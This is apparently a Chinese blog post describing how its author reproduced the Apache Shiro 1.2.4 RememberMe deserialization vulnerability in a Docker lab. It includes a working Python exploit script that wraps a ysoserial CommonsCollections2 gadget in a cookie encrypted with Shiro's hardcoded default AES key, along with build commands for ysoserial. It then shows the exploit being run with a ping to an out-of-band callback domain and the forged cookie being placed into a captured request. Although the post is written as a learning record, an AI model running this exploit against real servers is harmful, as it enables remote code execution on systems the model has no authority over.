zoukankan      html  css  js  c++  java
  • Shiro RememberMe 1.2.4 反序列化漏洞复现

    前言

    • 昨天受到我大哥的启发,去看了一下Shiro反序列化漏洞,由于身为渗透菜鸟的我之前压根就没见过这个漏洞,所以就从网上查阅了相关文章开始了我的复现之路
    • 此次复现大体流程是参考的https://www.cnblogs.com/paperpen/p/11312671.html这篇文章,此文仅是记录自己复现流程中遇到的一些坑,希望给后续复现过程中遇到类似问题的小伙伴们能提供一些思路

    复现环境准备

    • centos7
    • python2.7
    • 现成的docker环境
    docker pull medicean/vulapps:s_shiro_1
    docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
    

    工具脚本

    • 这里直接找的网上的payload,将脚本保存至/tmp目录下,并命名为shiro_poc.py(名称大家可以随意,我这里是怕后续有问题所以直接按上述参考文章中的名称命名的)
    • 老生常谈的问题了:先将脚本再主机上存储后,再用xshell或者其他工具,使用rz命令上传到虚拟机中
    • 脚本如下,若大家使用的是python3请使用前言中给出的文章里面的脚本,我这里因为使用的是python2复现的所以做了些许修改
    # pip install pycrypto
    import sys
    import base64
    import uuid
    from random import Random
    import subprocess
    from Crypto.Cipher import AES
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
        BS   = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key  =  "kPH+bIxk5D2deZiIxcaaaA=="
        mode =  AES.MODE_CBC
        iv   =  uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
        with open("/tmp/payload.cookie", "w") as fpw:
    	print >> fpw,"rememberMe={}".format(payload.decode())
    
    • 注意1:print(args, file=f1) is the python 3.x syntax. For python 2.x use print >> f1, args.,即这里脚本的最后一句要写作py2中的用法print >> f1, args
    • 注意2:pycrypto这个库,在python2中使用以下命令安装基本就能解决pip install pycrypto -i https://pypi.tuna.tsinghua.edu.cn/simple,此外,最新版本的kali使用的是python3,它里面已经自带了这个库,使用python3的小伙伴,若无法成功安装这个库,可以考虑使用最新版kali(๑•̀ㅂ•́)و✧

    ysoserial的jar文件

    • 需依次执行下列指令,且jar的文件名要和脚本中的一样,文件要和脚本在同一目录下(这点很重要( ̄ε(# ̄)☆╰╮o( ̄皿 ̄///),否则会报错无法连接jar文件)
    • 针对执行命令时,我这次遇到的坑见如下
    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -DskipTests
    cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
    

    mvn命令找不到

    • 也就是未安装mvn,这里要说一下,mvn需要使用java环境,所以要先安装java
    • java安装教程见此篇:https://blog.csdn.net/weixin_42392104/article/details/92832581
    • 安装好java后,就可以安装mvn了,安装mvn教程见此篇:https://www.jianshu.com/p/51e4e84e02cd
    • 上述java的文章中也提到了安装mvn,大家可以自己选择脚本,我安装的时候是用的第二篇

    报这个错 NB: JAVA_HOME should point to a JDK not a JRE

    • 若大家安装好两个环境后,遇到报这个错,可以见这篇文章
      `
    https://blog.csdn.net/TMaskBoy/article/details/99875484?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2
    
    • 至此的话,环境就基本准备完成,此外顺带提一下执行mvn package -DskipTests的时候时间会比较长,大家请耐心等待

    复现流程

    • 执行脚本python shiro_poc.py "ping vqbxt5.ceye.io"
    • 执行后会生成一个payload.cookie的文件
      Shiro
    • 浏览器打开漏洞环境并登陆进去,点击account page抓包
      Shiro
    • 将抓到的包中的cookie全改为payload.cookie中的
      Shrio
    • 最后去ceye平台查看dns流量记录
      Shiro

    结语

    • 本次的复现流程收获了不少,路漫漫其修远,渗透学习之路还很漫长啊(☄⊙ω⊙)☄
    • 最后再次感谢我Brain老哥愿意带我这种小菜鸡(ง •_•)ง
  • 相关阅读:
    Ubuntu下errno值
    Git 经常使用命令总结
    【我们都爱Paul Hegarty】斯坦福IOS8公开课个人笔记38 Unwind Segue反向过渡
    高斯噪声
    小记5.8面试
    基数排序之多keyword排序运用队列
    广告贴
    输入字符串反序输出
    Codeforces Round #313 A. Currency System in Geraldion
    matlab中怎样加入凝视
  • 原文地址:https://www.cnblogs.com/Konmu/p/12759968.html
Copyright © 2011-2022 走看看